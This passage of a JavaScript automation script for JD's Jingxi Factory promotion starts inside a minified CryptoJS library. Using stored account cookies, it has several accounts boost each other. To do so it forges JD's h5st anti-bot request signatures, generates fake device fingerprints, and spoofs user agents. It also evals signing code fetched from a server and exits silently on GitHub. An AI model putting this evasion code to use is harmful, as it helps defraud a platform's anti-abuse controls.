^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +const $ = new Env('京喜工厂招工互助'); +const JD_API_HOST = 'https://m.jingxi.com'; +const notify = $.isNode() ? require('./sendNotify') : ''; +//通知级别 1=生产完毕可兑换通知;2=可兑换通知+生产超时通知+兑换超时通知;3=可兑换通知+生产超时通知+兑换超时通知+未选择商品生产通知(前提:已开通京喜工厂活动);默认第2种通知 +let notifyLevel = $.isNode() ? process.env.JXGC_NOTIFY_LEVEL || 2 : 2; +const randomCount = $.isNode() ? 20 : 5; +let tuanActiveId = ``, hasSend = false; +const jxOpenUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wqsd.jd.com/pingou/dream_factory/index.html%22%20%7D`; +let cookiesArr = [], cookie = '', message = '', allMessage = '', jdDreamFactoryShareArr = []; +const newShareCodes = [ + '' +]; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.tuanIds = []; +$.appId = 10001; +$.newShareCode = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (process.env.DREAMFACTORY_FORBID_ACCOUNT) process.env.DREAMFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.ele = 0; + $.pickEle = 0; + $.pickFriendEle = 0; + $.friendList = []; + $.canHelpFlag = true;//能否助力朋友(招工) + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdDreamFactory() + } + } + console.log(`\n开始账号内互助......`); + for (let j = 0; j < cookiesArr.length; j++) { + if (cookiesArr[j]) { + cookie = cookiesArr[j]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = j + 1; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName}:\n`); + await helpFriends(); + await $.wait(4000); + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: jxOpenUrl }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdDreamFactory() { + try { + await userInfo(); + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + let Hours = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000).getHours(); + if (Hours < 6) { + console.log(`\n未到招工时间(每日6-24点之间可招工)\n`) + return + } + if ($.canHelpFlag) { + $.newShareCode = [...(jdDreamFactoryShareArr || []), ...(newShareCodes || [])] + for (let code of $.newShareCode) { + if (code) { + if ($.encryptPin === code) { + console.log(`不能为自己助力,跳过`); + continue; + } + const assistFriendRes = await assistFriend(code); + if (assistFriendRes && assistFriendRes['ret'] === 0) { + console.log(`助力朋友:${code}成功,因一次只能助力一个,故跳出助力`) + break + } else if (assistFriendRes && assistFriendRes['ret'] === 11009) { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg},跳出助力`); + break + } else { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg}`) + } + } + } + } else { + $.log(`\n今日助力好友机会已耗尽\n`); + } +} +// 帮助用户,此处UA不可更换,否则助力功能会失效 +function assistFriend(sharepin) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1` + // const options = { + // 'url': `https://m.jingxi.com/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1`, + // 'headers': { + // "Accept": "*/*", + // "Accept-Encoding": "gzip, deflate, br", + // "Accept-Language": "zh-cn", + // "Connection": "keep-alive", + // "Cookie": cookie, + // "Host": "m.jingxi.com", + // "Referer": "https://st.jingxi.com/pingou/dream_factory/index.html", + // "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" + // } + // } + const options = taskurl('friend/AssistFriend', `sharepin=${escape(sharepin)}`, `_time,sharepin,zone`); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // console.log(`助力朋友:${sharepin}成功`) + // } else { + // console.log(`助力朋友[${sharepin}]失败:${data.msg}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 初始化个人信息 +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ''; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + const productionStage = data.productionStage; + $.factoryId = factory.factoryId;//工厂ID + $.productionId = production.productionId;//商品ID + $.commodityDimId = production.commodityDimId; + $.encryptPin = data.user.encryptPin; + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.user.encryptPin}`); + jdDreamFactoryShareArr.push(data.user.encryptPin) + + + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) //$.log(`\n\n可以兑换商品了`) + if (production['exchangeStatus'] === 3) { + //$.log(`\n\n商品兑换已超时`) + if (new Date().getHours() === 9) { + //$.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造`) + if (`${notifyLevel}` === '3' || `${notifyLevel}` === '2') allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } + // await exchangeProNotify() + } else { + //console.log(`\n\n预计最快还需 【${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(2)}天】生产完毕\n\n`) + } + if (production.status === 3) { + //$.log(`\n\n商品生产已失效`) + //$.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造`) + //if ($.isNode() && (`${notifyLevel}` === '3' || `${notifyLevel}` === '2')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } else { + $.unActive = false;//标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + //console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动\n`); + } else if (data.factoryList && !data.productionList) { + //console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购\n`) + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); + if (nowTimes.getHours() === 12) { + //如按每小时运行一次,则此处将一天12点推送1次提醒 + //$.msg($.name, '提醒⏰', `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品`); + //if ($.isNode() && `${notifyLevel}` === '3') allMessage += `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getFactoryIdByPin(pin) { + return new Promise((resolve, reject) => { + // const url = `/dreamfactory/userinfo/GetUserInfoByPin?zone=dream_factory&pin=${pin}&sceneval=2`; + $.get(taskurl('userinfo/GetUserInfoByPin', `pin=${pin}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (data.data.factoryList) { + //做此判断,有时候返回factoryList为null + // resolve(data['data']['factoryList'][0]['factoryId']) + $.stealFactoryId = data['data']['factoryList'][0]['factoryId']; + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function updateTuanIdsCDN(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + $.tuanConfigs = data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(20000) + resolve(); + }) +} +function requireConfig() { + return new Promise(async resolve => { + //console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_jxFactory')) $.shareCodesArr = $.getdata('jd_jxFactory').split('\n').filter(item => item !== "" && item !== null && item !== undefined); + //console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_jxFactory')}\n`); + } + //console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskTuanUrl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/tuan/${functionId}?${body}&_time=${Date.now()}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "m.jingxi.com", + "Referer": "https://st.jingxi.com/pingou/dream_factory/divide.html", + "User-Agent": "jdpingou" + } + } +} + +function taskurl(functionId, body = '', stk) { + let url = `${JD_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} +function newtasksysUrl(functionId, taskId, stk) { + let url = `${JD_API_HOST}/newtasksys/newtasksys_front/${functionId}?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1`; + if (taskId) { + url += `&taskId=${taskId}`; + } + if (stk) { + url += `&_stk=${stk}`; + } + //传入url进行签名 + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + return { + url, + "headers": { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': "jdpingou;iPhone;3.15.2;13.5.1;90bab9217f465a83a99c0b554a946b0b0d5c2f7a;network/wifi;model/iPhone12,1;appBuild/100365;ADID/696F8BD2-0820-405C-AFC0-3C6D028040E5;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/14;pap/JA2015_311210;brand/apple;supportJDSHWK/1;", + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } 